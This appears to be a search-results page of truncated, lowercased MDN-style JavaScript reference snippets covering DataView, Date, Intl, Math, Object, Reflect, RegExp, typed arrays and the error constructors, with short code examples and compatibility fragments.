... examples using the bytelength property var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.bytelength; // 8 (matches the bytelength of the buffer) var dataview2 = new dataview(buffer, 1, 5); dataview2.bytelength; // 5 (as specified when constructing the dataview) var dataview3 = new dataview(buffer, 2); dataview3.bytelength; // 6 (due to the offset of the constructed dataview) specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.bytelength' in that specification.
DataView.prototype.getBigInt64() - JavaScript
errors thrown rangeerror thrown if the byteoffset is set such that it would read beyond the end of the view.
... description there is no alignment constraint; multi-byte values may be fetched from any offset.
DataView.prototype.getBigUint64() - JavaScript
errors thrown rangeerror thrown if the byteoffset is set such that it would read beyond the end of the view.
... description there is no alignment constraint; multi-byte values may be fetched from any offset.
DataView.prototype.getFloat32() - JavaScript
errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view.
... description there is no alignment constraint; multi-byte values may be fetched from any offset.
DataView.prototype.getFloat64() - JavaScript
errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view.
... description there is no alignment constraint; multi-byte values may be fetched from any offset.
DataView.prototype.getInt16() - JavaScript
errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view.
... description there is no alignment constraint; multi-byte values may be fetched from any offset.
DataView.prototype.getInt32() - JavaScript
errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view.
... description there is no alignment constraint; multi-byte values may be fetched from any offset.
DataView.prototype.getInt8() - JavaScript
errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view.
... description there is no alignment constraint; multi-byte values may be fetched from any offset.
DataView.prototype.getUint16() - JavaScript
errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view.
... description there is no alignment constraint; multi-byte values may be fetched from any offset.
DataView.prototype.getUint32() - JavaScript
errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view.
... description there is no alignment constraint; multi-byte values may be fetched from any offset.
DataView.prototype.getUint8() - JavaScript
errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view.
... description there is no alignment constraint; multi-byte values may be fetched from any offset.
Date.prototype.getTime() - JavaScript
the gettime() method returns the number of milliseconds* since the unix epoch.
... in firefox, you can also enable privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
Date.prototype.getTimezoneOffset() - JavaScript
for example, for time zone utc+10:00 (australian eastern standard time, vladivostok time, chamorro standard time), -600 will be returned.
... if the host system is configured for daylight saving, the offset will change depending on the date and time that the date represents and that daylight saving applies.
Date.prototype.setMonth() - JavaScript
for example, if the current value is 31st august 2016, calling setmonth with a value of 1 will return 2nd march 2016.
... examples using setmonth() var thebigday = new date(); thebigday.setmonth(6); //watch out for end of month transitions var endofmonth = new date(2016, 7, 31); endofmonth.setmonth(1); console.log(endofmonth); //wed mar 02 2016 00:00:00 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setmonth' in that specification.
Date.prototype.toDateString() - JavaScript
sometimes it is desirable to obtain a string of the time portion; such a thing can be accomplished with the totimestring() method.
... the todatestring() method is especially useful because compliant engines implementing ecma-262 may differ in the string obtained from tostring() for date objects, as the format is implementation-dependent and simple string slicing approaches may not produce consistent results across multiple engines.
Date.prototype.toGMTString() - JavaScript
the togmtstring() method converts a date to a string, using internet greenwich mean time (gmt) conventions.
... syntax dateobj.togmtstring() return value a string representing the given date following the internet greenwich mean time (gmt) convention.
Date.prototype.toTimeString() - JavaScript
sometimes it is desirable to obtain a string of the time portion; such a thing can be accomplished with the totimestring() method.
... the totimestring() method is especially useful because compliant engines implementing ecma-262 may differ in the string obtained from tostring() for date objects, as the format is implementation-dependent; simple string slicing approaches may not produce consistent results across multiple engines.
Function.caller - JavaScript
the special property __caller__, which returned the activation object of the caller thus allowing to reconstruct the stack, was removed for security reasons.
... examples checking the value of a function's caller property the following code checks the value a function's caller property.
Function.prototype.toString() - JavaScript
for user-defined function objects, the tostring method returns a string containing the source text segment which was used to define the function.
... function.prototype.tostring.call('foo'); // typeerror if the tostring() method is called on built-in function objects or a function created by function.prototype.bind, tostring() returns a native function string which looks like "function () {\n [native code]\n}" if the tostring() method is called on a function created by the function constructor, tostring() returns the source code of a synthesized function declaration named "anonymous" using the provided parameters and function body.
Generator.prototype.throw() - JavaScript
an error can be caught by a try...catch block as usual.
... function* gen() { while(true) { try { yield 42; } catch(e) { console.log('error caught!'); } } } const g = gen(); g.next(); // { value: 42, done: false } g.throw(new error('something went wrong')); // "error caught!" // { value: 42, done: false } specifications specification ecmascript (ecma-262)the definition of 'generator.prototype.throw' in that specification.
Int16Array() constructor - JavaScript
typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
... each value in typedarray is converted to the corresponding type of the constructor before being copied into the new array.
Int32Array() constructor - JavaScript
typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
... each value in typedarray is converted to the corresponding type of the constructor before being copied into the new array.
Int8Array() constructor - JavaScript
typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
... each value in typedarray is converted to the corresponding type of the constructor before being copied into the new array.
Intl.DateTimeFormat.prototype.formatRangeToParts() - JavaScript
the intl.datetimeformat.prototype.formatrangetoparts() method allows locale-specific tokens representing each part of the formatted date range produced by datetimeformat formatters.
... syntax intl.datetimeformat.prototype.formatrangetoparts(startdate, enddate) examples basic formatrangetoparts usage this method receives two dates and returns an array of objects containing the locale-specific tokens representing each part of the formatted date range.
Intl.DisplayNames() constructor - JavaScript
syntax new intl.displaynames([locales[, options]]) parameters locales optional a string with a bcp 47 language tag, or an array of such strings.
... options optional an object with some or all of the following properties: localematcher the locale matching algorithm to use.
Intl.ListFormat() constructor - JavaScript
a string with a bcp 47 language tag, or an array of such strings.
...an object with some or all of the following properties: localematcher the locale matching algorithm to use.
Intl.Locale.prototype.baseName - JavaScript
examples basic example let myloc = new intl.locale("fr-latn-ca"); // sets locale to canadian french console.log(myloc.tostring()); // prints out "fr-latn-ca-u-ca-gregory" console.log(myloc.basename); // prints out "fr-latn-ca" example with options in the input string // sets language to japanese, region to japan, // calendar to gregorian, hour cycle to 24 hours let japan = new intl.locale("ja-jp-u-ca-gregory-hc-24"); console.log(japan.tostring()); // prints out "ja-jp-u-ca-gregory-hc-h24" co...
...nsole.log(japan.basename); // prints out "ja-jp" example with options that override input string // input string indicates language as dutch and region as belgium, // but options object overrides the region and sets it to the netherlands let dutch = new intl.locale("nl-latn-be", {region: "nl"}); console.log(dutch.basename); // prints out "nl-latn-nl" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.caseFirst - JavaScript
certain locales use a character's case (uppercase or lowercase) in the collation process.
... let casefirststr = new intl.locale("fr-latn-fr-u-kf-upper"); console.log(casefirststr.casefirst); // prints "upper" setting the casefirst value via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can be used to pass extension types.
Intl.Locale.prototype.maximize() - JavaScript
the "latn" and "fr" tags are added, // since french is only written in the latin script and is most likely to be spoken in france.
...// note that the extension tags (after "-u") remain unchanged.
Intl.Locale.prototype.minimize() - JavaScript
examples using minimize let mylocale = new intl.locale("fr-latn-fr", {hourcycle: "h24", calendar: "gregory"}); console.log(mylocale.basename); // prints "fr-latn-fr" console.log(mylocale.tostring()); // prints "fr-latn-fr-u-ca-gregory-hc-h24" let mylocminimized = mylocale.minimize(); // prints "fr", since french is only written in the latin script // and is most likely to be spoken in france.
...// note that the extension tags (after "-u") remain unchanged.
Intl.NumberFormat.prototype.format() - JavaScript
note that the function is bound to the numberformat from which it was obtained, so it can be passed directly to array.prototype.map.
... this is considered a historical artefact, as part of a convention which is no longer followed for new features, but is preserved to maintain compatibility with existing programs.
get Map[@@species] - JavaScript
subclass constructors may over-ride it to change the constructor assignment.
... examples species in ordinary objects the species property returns the default constructor function, which is the map constructor for map objects: map[symbol.species]; // function map() species in derived objects in a derived collection object (e.g.
Math.fround() - JavaScript
description javascript uses 64-bit double floating-point numbers internally, which offer a very high precision.
...this can create confusion: checking a 64-bit float and a 32-bit float for equality may fail even though the numbers are seemingly identical.
Math.hypot() - JavaScript
the largest number you can represent in js is number.max_value, which is around 10308.
... polyfill a naive approach that does not handle overflow/underflow issues: if (!math.hypot) math.hypot = function() { var y = 0, i = arguments.length, containsinfinity = false; while (i--) { var arg = arguments[i]; if (arg === infinity || arg === -infinity) containsinfinity = true y += arg * arg } return containsinfinity ?
Math.imul() - JavaScript
multiplying two numbers stored internally as integers (which is only possible with asmjs) with imul is the only potential circumstance where math.imul may prove performant in current browsers.
...{ var ahi = (a >>> 16) & 0xffff; var alo = a & 0xffff; var bhi = (b >>> 16) & 0xffff; var blo = b & 0xffff; // the shift by 0 fixes the sign on the high part // the final |0 converts the unsigned value into a signed value return ((alo * blo) + (((ahi * blo + alo * bhi) << 16) >>> 0) | 0); }; however, the following function is more performant because it is likely that browsers in which this polyfill would be used do not optimize with an internal integer type in javascript, instead using floating points for all numbers.
Math.log() - JavaScript
the math.log() function returns the natural logarithm (base e) of a number, that is ∀x>0,math.log(x)=ln(x)=the uniqueysuch thatey=x\forall x > 0, \mathtt{\operatorname{math.log}(x)} = \ln(x) = \text{the unique} \; y \; \text{such that} \; e^y = x the javascript math.log() function is equivalent to ln(x) in mathematics.
...logxy\log_x y): function getbaselog(x, y) { return math.log(y) / math.log(x); } if you run getbaselog(10, 1000) it returns 2.9999999999999996 due to floating-point rounding, which is very close to the actual answer of 3.
Math.log10() - JavaScript
the math.log10() function returns the base 10 logarithm of a number, that is ∀x>0,math.log10(x)=log10(x)=the uniqueysuch that10y=x\forall x > 0, \mathtt{\operatorname{math.log10}(x)} = \log_10(x) = \text{the unique} \; y \; \text{such that} \; 10^y = x the source for this interactive example is stored in a github repository.
... for log10(e) use the constant math.log10e which is 1 / math.ln10.
Math.log2() - JavaScript
the math.log2() function returns the base 2 logarithm of a number, that is ∀x>0,math.log2(x)=log2(x)=the uniqueysuch that2y=x\forall x > 0, \mathtt{\operatorname{math.log2}(x)} = \log_2(x) = \text{the unique} \; y \; \text{such that} \; 2^y = x the source for this interactive example is stored in a github repository.
... for log2(e) use the constant math.log2e which is 1 / math.ln2.
Number.isNaN() - JavaScript
description due to both equality operators, == and ===, evaluating to false when checking if nan is nan, the function number.isnan() has become necessary.
... polyfill the following works because nan is the only value in javascript which is not equal to itself.
Number.prototype.toFixed() - JavaScript
implementations are allowed to support larger and smaller values as chosen.
...this can lead to unexpected results, such as 0.1 + 0.2 === 0.3 returning false .
Object.is() - JavaScript
two values are the same if one of the following holds: both undefined both null both true or both false both strings of the same length with the same characters in the same order both the same object (means both object have same reference) both numbers and both +0 both -0 both nan or both non-zero and both not nan and both have the same value this is not the same as being equal according to the == operator.
... the == operator applies various coercions to both sides (if they are not the same type) before testing for equality (resulting in such behavior as "" == false being true), but object.is doesn't coerce either value.
Object.isExtensible() - JavaScript
syntax object.isextensible(obj) parameters obj the object which should be checked.
...var empty = {}; object.isextensible(empty); // === true // ...but that can be changed.
Object.keys() - JavaScript
syntax object.keys(obj) parameters obj the object of which the enumerable's own properties are to be returned.
...le array const arr = ['a', 'b', 'c']; console.log(object.keys(arr)); // console: ['0', '1', '2'] // array-like object const obj = { 0: 'a', 1: 'b', 2: 'c' }; console.log(object.keys(obj)); // console: ['0', '1', '2'] // array-like object with random key ordering const anobj = { 100: 'a', 2: 'b', 7: 'c' }; console.log(object.keys(anobj)); // console: ['2', '7', '100'] // getfoo is a property which isn't enumerable const myobj = object.create({}, { getfoo: { value: function () { return this.foo; } } }); myobj.foo = 1; console.log(object.keys(myobj)); // console: ['foo'] if you want all properties—including non-enumerables—see object.getownpropertynames().
Object.preventExtensions() - JavaScript
syntax object.preventextensions(obj) parameters obj the object which should be made non-extensible.
...var empty = {}; object.isextensible(empty); // === true // ...but that can be changed.
Object.prototype.propertyIsEnumerable() - JavaScript
this method can determine whether the specified property in an object can be enumerated by a for...in loop, with the exception of properties inherited through the prototype chain.
...econdconstructor(); o.arbitraryproperty = 'is enumerable'; o.propertyisenumerable('arbitraryproperty'); // returns true o.propertyisenumerable('method'); // returns true o.propertyisenumerable('property'); // returns false o.property = 'is enumerable'; o.propertyisenumerable('property'); // returns true // these return false as they are on the prototype which // propertyisenumerable does not consider (even though the last two // are iteratable with for-in) o.propertyisenumerable('prototype'); // returns false (as of js 1.8.1/ff3.6) o.propertyisenumerable('constructor'); // returns false o.propertyisenumerable('firstmethod'); // returns false specifications specification ecmascript (ecma-262)the definition of 'object.prototyp...
Object.prototype.toSource() - JavaScript
for example: function person(name) { this.name = name; } person.prototype.tosource = function person_tosource() { return 'new person(' + uneval(this.name) + ')'; }; console.log(new person('joe').tosource()); // ---> new person("joe") built-in tosource() methods each core javascript type has its own tosource() method.
... examples using tosource() the following code defines the dog object type and creates thedog, an object of type dog: function dog(name, breed, color, sex) { this.name = name; this.breed = breed; this.color = color; this.sex = sex; } thedog = new dog('gabby', 'lab', 'chocolate', 'female'); calling the tosource() method of thedog displays the javascript source that defines the object: thedog.tosource(); // returns ({name:"gabby", breed:"lab", color:"chocolate", sex:"female"}) specifications not part of any standard.
Object.values() - JavaScript
(the only difference is that a for...in loop enumerates properties in the prototype chain as well.) the source for this interactive example is stored in a github repository.
...array-like object const arraylikeobj1 = { 0: 'a', 1: 'b', 2: 'c' }; console.log(object.values(arraylikeobj1 )); // ['a', 'b', 'c'] // array-like object with random key ordering // when using numeric keys, the values are returned in the keys' numerical order const arraylikeobj2 = { 100: 'a', 2: 'b', 7: 'c' }; console.log(object.values(arraylikeobj2 )); // ['b', 'c', 'a'] // getfoo is property which isn't enumerable const my_obj = object.create({}, { getfoo: { value: function() { return this.foo; } } }); my_obj.foo = 'bar'; console.log(object.values(my_obj)); // ['bar'] // non-object argument will be coerced to an object console.log(object.values('foo')); // ['f', 'o', 'o'] specifications specification ecmascript (ecma-262)the definition of 'object.values' in that ...
handler.has() - JavaScript
prop the name or symbol of the property to check for existence.
... interceptions this trap can intercept these operations: property query: foo in proxy inherited property query: foo in object.create(proxy) with check: with(proxy) { (foo); } reflect.has() invariants if the following invariants are violated, the proxy will throw a typeerror: a property cannot be reported as non-existent, if it exists as a non-configurable own property of the target object.
RangeError() constructor - JavaScript
filename optional the name of the file containing the code that caused the exception linenumber optional the line number of the code that caused the exception examples using rangeerror (for numeric values) function check(n) { if( !(n >= -500 && n <= 500) ) { throw new rangeerror("the argument must be between -500 and 500.") } } try { check(2000) } catch(error) { if (error instanceof rangeerror) { // handle the error } } using rangeerror (for non-numeric values) function check(value) { if(["apple", "banana", "carrot"].includes(value) === false) { th...
...row new rangeerror('the argument must be an "apple", "banana", or "carrot".') } } try { check("cabbage") } catch(error) { if(error instanceof rangeerror) { // handle the error } } specifications specification ecmascript (ecma-262)the definition of 'nativeerror constructors' in that specification.
RangeError - JavaScript
examples using rangeerror (for numeric values) function check(n) { if( !(n >= -500 && n <= 500) ) { throw new rangeerror("the argument must be between -500 and 500.") } } try { check(2000) } catch(error) { if (error instanceof rangeerror) { // handle the error } } using rangeerror (for non-numeric values) function check(value) { if(["apple", "banana", "carrot"].includes(value) === false) { th...
...row new rangeerror('the argument must be an "apple", "banana", or "carrot".') } } try { check("cabbage") } catch(error) { if(error instanceof rangeerror) { // handle the error } } specifications specification ecmascript (ecma-262)the definition of 'rangeerror' in that specification.
ReferenceError() constructor - JavaScript
examples catching a referenceerror try { let a = undefinedvariable } catch (e) { console.log(e instanceof referenceerror) // true console.log(e.message) // "undefinedvariable is not defined" console.log(e.name) // "referenceerror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.colum...
...nnumber) // 6 console.log(e.stack) // "@scratchpad/2:2:7\n" } creating a referenceerror try { throw new referenceerror('hello', 'somefile.js', 10) } catch (e) { console.log(e instanceof referenceerror) // true console.log(e.message) // "hello" console.log(e.name) // "referenceerror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'nativeerror constructor' in that specification.
ReferenceError - JavaScript
examples catching a referenceerror try { let a = undefinedvariable } catch (e) { console.log(e instanceof referenceerror) // true console.log(e.message) // "undefinedvariable is not defined" console.log(e.name) // "referenceerror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.colum...
...nnumber) // 6 console.log(e.stack) // "@scratchpad/2:2:7\n" } creating a referenceerror try { throw new referenceerror('hello', 'somefile.js', 10) } catch (e) { console.log(e instanceof referenceerror) // true console.log(e.message) // "hello" console.log(e.name) // "referenceerror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'referenceerror' in that specification.
Comparing Reflect and Object methods - JavaScript
some of the static functions that exist on reflect also correspond to methods available on object, which predates es2015.
... getownpropertydescriptors() object.getownpropertydescriptors() returns an object containing a property descriptor of each passed-in object.
Reflect.apply() - JavaScript
argumentslist an array-like object specifying the arguments with which target should be called.
... examples using reflect.apply() reflect.apply(math.floor, undefined, [1.75]); // 1; reflect.apply(string.fromcharcode, undefined, [104, 101, 108, 108, 111]) // "hello" reflect.apply(regexp.prototype.exec, /ab/, ['confabulation']).index // 4 reflect.apply(''.charat, 'ponies', [3]) // "i" specifications specification ecmascript (ecma-262)the definition of 'reflect.apply' in that specification.
Reflect.deleteProperty() - JavaScript
syntax reflect.deleteproperty(target, propertykey) parameters target the target object on which to delete the property.
... examples using reflect.deleteproperty() let obj = { x: 1, y: 2 } reflect.deleteproperty(obj, 'x') // true obj // { y: 2 } let arr = [1, 2, 3, 4, 5] reflect.deleteproperty(arr, '3') // true arr // [1, 2, 3, undefined, 5] // returns true if no such property exists reflect.deleteproperty({}, 'foo') // true // returns false if a property is unconfigurable reflect.deleteproperty(object.freeze({foo: 1}), 'foo') // false specifications specification ecmascript (ecma-262)the definition of 'reflect.deleteproperty' in that specification.
Reflect.isExtensible() - JavaScript
syntax reflect.isextensible(target) parameters target the target object which to check if it is extensible.
...let empty = {} reflect.isextensible(empty) // === true // ...but that can be changed.
Reflect.preventExtensions() - JavaScript
syntax reflect.preventextensions(target) parameters target the target object on which to prevent extensions.
...let empty = {} reflect.isextensible(empty) // === true // ...but that can be changed.
get RegExp[@@species] - JavaScript
subclass constructors may over-ride it to change the constructor assignment.
... examples species in ordinary objects the species property returns the default constructor function, which is the regexp constructor for regexp objects: regexp[symbol.species]; // function regexp() species in derived objects in a derived collection object (e.g.
RegExp.prototype[@@split]() - JavaScript
the [@@split]() method still splits on every match of this regexp pattern (or, in the syntax above, regexp), until the number of split items match the limit or the string falls short of this pattern.
... description this method is called internally in string.prototype.split() if its separator argument is an object that has a @@split method, such as a regexp.
RegExp.prototype.compile() - JavaScript
flags if specified, flags can have any combination of the following values: g global match i ignore case m multiline; treat beginning and end characters (^ and $) as working over multiple lines (i.e., match the beginning or end of each line (delimited by \n or \r), not only the very beginning or end of the whole input string) y sticky; matches only from the index indicated by the lastindex property of this regular expression in the target string (and does not attempt to match from any later indexes).
...you can just use the regexp constructor to achieve the same effect.
RegExp.prototype.ignoreCase - JavaScript
the "i" flag indicates that case should be ignored while attempting a match in a string.
... you cannot change this property directly.
RegExp.lastParen ($+) - JavaScript
the non-standard lastparen property is a static and read-only property of regular expressions that contains the last parenthesized substring match, if any.
... the value of the lastparen property is read-only and modified whenever a successful match is made.
RegExp.leftContext ($`) - JavaScript
the non-standard leftcontext property is a static and read-only property of regular expressions that contains the substring preceding the most recent match.
... the value of the leftcontext property is read-only and modified whenever a successful match is made.
RegExp.prototype.multiline - JavaScript
for example, if "m" is used, "^" and "$" change from matching at only the start or end of the entire string to the start or end of any line within the string.
... you cannot change this property directly.
RegExp.rightContext ($') - JavaScript
the non-standard rightcontext property is a static and read-only property of regular expressions that contains the substring following the most recent match.
... the value of the rightcontext property is read-only and modified whenever a successful match is made.
RegExp.prototype.unicode - JavaScript
with the "u" flag, any unicode code point escapes will be interpreted as such, for example.
... you cannot change this property directly.
get Set[@@species] - JavaScript
subclass constructors may override it to change the constructor assignment.
... examples species in ordinary objects the species property returns the default constructor function, which is the set constructor for set objects: set[symbol.species]; // function set() species in derived objects in a derived collection object (e.g.
Set.prototype.delete() - JavaScript
let's checkout below how to delete an object from a set.
...setobj.foreach(function(point){ if (point.x > 10){ setobj.delete(point) } }) specifications specification ecmascript (ecma-262)the definition of 'set.prototype.delete' in that specification.
Set.prototype.values() - JavaScript
the values() method returns a new iterator object that contains the values for each element in the set object in insertion order.
... syntax myset.values(); return value a new iterator object containing the values for each element in the given set, in insertion order.
SharedArrayBuffer.prototype.slice() - JavaScript
syntax sab.slice() sab.slice(begin) sab.slice(begin, end) parameters begin optional zero-based index at which to begin extraction.
... end optional zero-based index before which to end extraction.
String.prototype.fixed() - JavaScript
the fixed() method creates a <tt> html element that causes a string to be displayed in fixed-pitch font.
... examples using fixed() the following example uses the fixed method to change the formatting of a string: var worldstring = 'hello, world'; console.log(worldstring.fixed()); // "<tt>hello, world</tt>" specifications specification ecmascript (ecma-262)the definition of 'string.prototype.fixed' in that specification.
String.prototype.fontsize() - JavaScript
when you specify size as a string such as "-2", you adjust the font size of str relative to the size set in the <basefont> tag.
... examples using fontsize() the following example uses string methods to change the size of a string: var worldstring = 'hello, world'; console.log(worldstring.small()); // <small>hello, world</small> console.log(worldstring.big()); // <big>hello, world</big> console.log(worldstring.fontsize(7)); // <font size="7">hello, world</fontsize> with the element.style object you can get the element's style attribute and manipulate it more generically, for example: document.getelementbyid('yourelemid').style.fontsize = '0.7em'; specifications specification ecmascript (ecma-262)the definition of 'string.prototype.fontsize' in that specification.
String.prototype.toLocaleLowerCase() - JavaScript
in most cases, this will produce the same result as tolowercase(), but for some locales, such as turkish, whose case mappings do not follow the default case mappings in unicode, there may be a different result.
... examples using tolocalelowercase() 'alphabet'.tolocalelowercase(); // 'alphabet' '\u0130'.tolocalelowercase('tr') === 'i'; // true '\u0130'.tolocalelowercase('en-us') === 'i'; // false let locales = ['tr', 'tr', 'tr-tr', 'tr-u-co-search', 'tr-x-turkish']; '\u0130'.tolocalelowercase(locales) === 'i'; // true specifications specification ecmascript (ecma-262)the definition of 'string.prototype.tolocalelowercase' in that specification.
String.prototype.toLocaleUpperCase() - JavaScript
in most cases, this will produce the same result as touppercase(), but for some locales, such as turkish, whose case mappings do not follow the default case mappings in unicode, there may be a different result.
... also notice that conversion is not necessarily a 1:1 character mapping, as some characters might result in two (or even more) characters when transformed to upper-case.
Symbol() constructor - JavaScript
a description of the symbol which can be used for debugging but not to access the symbol itself.
...it creates a new symbol each time: symbol('foo') === symbol('foo') // false new symbol(...) the following syntax with the new operator will throw a typeerror: let sym = new symbol() // typeerror this prevents authors from creating an explicit symbol wrapper object instead of a new symbol value and might be surprising as creating explicit wrapper objects around primitive data types is generally possible (for example, new boolean, new string and new number).
Symbol.for() - JavaScript
the symbol.for(key) method searches for existing symbols in a runtime-wide symbol registry with the given key and returns it if found.
...symbol.for() does also not necessarily create a new symbol on every call, but checks first if a symbol with the given key is already present in the registry.
TypeError() constructor - JavaScript
the line number of the code that caused the exception examples catching a typeerror try { null.f() } catch (e) { console.log(e instanceof typeerror) // true console.log(e.message) // "null has no properties" console.log(e.name) // "typeerror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 2 console.log(e.stack) ...
...// "@scratchpad/2:2:3\n" } creating a typeerror try { throw new typeerror('hello', "somefile.js", 10) } catch (e) { console.log(e instanceof typeerror) // true console.log(e.message) // "hello" console.log(e.name) // "typeerror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'nativeerror constructor' in that specification.
get TypedArray[@@species] - JavaScript
subclass constructors may over-ride it to change the constructor assignment.
... examples species in ordinary objects the species property returns the default constructor function, which is one of the typed array constructors for a given typed array object: int8array[symbol.species]; // function int8array() uint8array[symbol.species]; // function uint8array() float32array[symbol.species]; // function float32array() species in derived objects in a derived collection object (e.g.
TypedArray.prototype.byteLength - JavaScript
the value is established when a typedarray is constructed and cannot be changed.
... examples using the bytelength property var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.bytelength; // 8 (matches the bytelength of the buffer) var uint8 = new uint8array(buffer, 1, 5); uint8.bytelength; // 5 (as specified when constructing the uint8array) var uint8 = new uint8array(buffer, 2); uint8.bytelength; // 6 (due to the offset of the constructed uint8array) specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.bytelength' in that specification.
TypedArray.prototype.includes() - JavaScript
syntax typedarray.includes(searchelement[, fromindex]); parameters searchelement the element to search for.
...the position in this array at which to begin searching for searchelement; defaults to 0.
TypedArray.prototype.length - JavaScript
the value is established when a typedarray is constructed and cannot be changed.
... examples using the length property var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.length; // 8 (matches the length of the buffer) var uint8 = new uint8array(buffer, 1, 5); uint8.length; // 5 (as specified when constructing the uint8array) var uint8 = new uint8array(buffer, 2); uint8.length; // 6 (due to the offset of the constructed uint8array) specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.length' in that specification.
TypedArray.prototype.slice() - JavaScript
syntax typedarray.slice([begin[, end]]) parameters begin optional zero-based index at which to begin extraction.
... end optional zero-based index before which to end extraction.
URIError() constructor - JavaScript
examples catching an urierror try { decodeuricomponent('%') } catch (e) { console.log(e instanceof urierror) // true console.log(e.message) // "malformed uri sequence" console.log(e.name) // "urierror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 2 console.log(e.stack) ...
... // "@scratchpad/2:2:3\n" } creating an urierror try { throw new urierror('hello', 'somefile.js', 10) } catch (e) { console.log(e instanceof urierror) // true console.log(e.message) // "hello" console.log(e.name) // "urierror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'nativeerror constructor' in that specification.
URIError - JavaScript
examples catching an urierror try { decodeuricomponent('%') } catch (e) { console.log(e instanceof urierror) // true console.log(e.message) // "malformed uri sequence" console.log(e.name) // "urierror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 2 console.log(e.stack) ...
... // "@scratchpad/2:2:3\n" } creating an urierror try { throw new urierror('hello', 'somefile.js', 10) } catch (e) { console.log(e instanceof urierror) // true console.log(e.message) // "hello" console.log(e.name) // "urierror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'urierror' in that specification.
Uint16Array() constructor - JavaScript
typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
... each value in typedarray is converted to the corresponding type of the constructor before being copied into the new array.
Uint32Array() constructor - JavaScript
typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
... each value in typedarray is converted to the corresponding type of the constructor before being copied into the new array.
Uint8Array() constructor - JavaScript
typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
... each value in typedarray is converted to the corresponding type of the constructor before being copied into the new array.
Uint8ClampedArray() constructor - JavaScript
typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
... each value in typedarray is converted to the corresponding type of the constructor before being copied into the new array.
WeakMap() constructor - JavaScript
the weakmap() constructor creates weakmap objects which are a collections of key/value pairs in which the keys are weakly referenced.
...each key-value pair will be added to the new weakmap.
WeakSet - JavaScript
just as with sets, each object in a weakset may occur only once; all objects in a weakset's collection are unique.
... use case: detecting circular references functions that call themselves recursively need a way of guarding against circular data structures by tracking which objects have already been processed.
WebAssembly.Table.prototype.grow() - JavaScript
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsgrowchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57chrome android ...
WebAssembly.Table.prototype.length - JavaScript
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jslengthchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57chrome android ...
undefined - JavaScript
var x; if (x === undefined) { // these statements execute } else { // these statements do not execute } note: the strict equality operator (as opposed to the standard equality operator) must be used here, because x == undefined also checks whether x is null, while strict equality doesn't.
... the global scope is bound to the global object, so checking the existence of a variable in the global context can be done by checking the existence of a property on the global object, using the in operator, for instance: if ('x' in window) { // these statements execute only if x is defined globally } void operator and undefined the void operator is a third alternative.
Assignment (=) - JavaScript
chaining the assignment operator is possible in order to assign a single value to multiple variables the source for this interactive example is stored in a github repository.
